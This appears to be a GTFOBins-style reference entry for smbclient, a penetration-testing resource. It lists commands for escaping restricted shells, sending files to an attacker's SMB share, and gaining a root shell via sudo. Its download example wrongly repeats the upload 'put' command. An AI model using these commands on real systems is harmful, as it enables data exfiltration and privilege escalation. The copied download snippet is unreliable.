.. / smbclient
Star

A valid SMB/CIFS server must be available.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
smbclient '\\attacker\share'
!/bin/sh
```

File upload

It can exfiltrate files on the network.

Install Impacket and run sudo smbserver.py share /tmp on the attacker box to collect the file.
```
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
```

File download

It can download remote files.

Install Impacket and run sudo smbserver.py share /tmp on the attacker box to send the file.
```
smbclient '\\attacker\share' -c 'put file_to_send where_to_save'
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

sudo smbclient '\\attacker\share'
!/bin/sh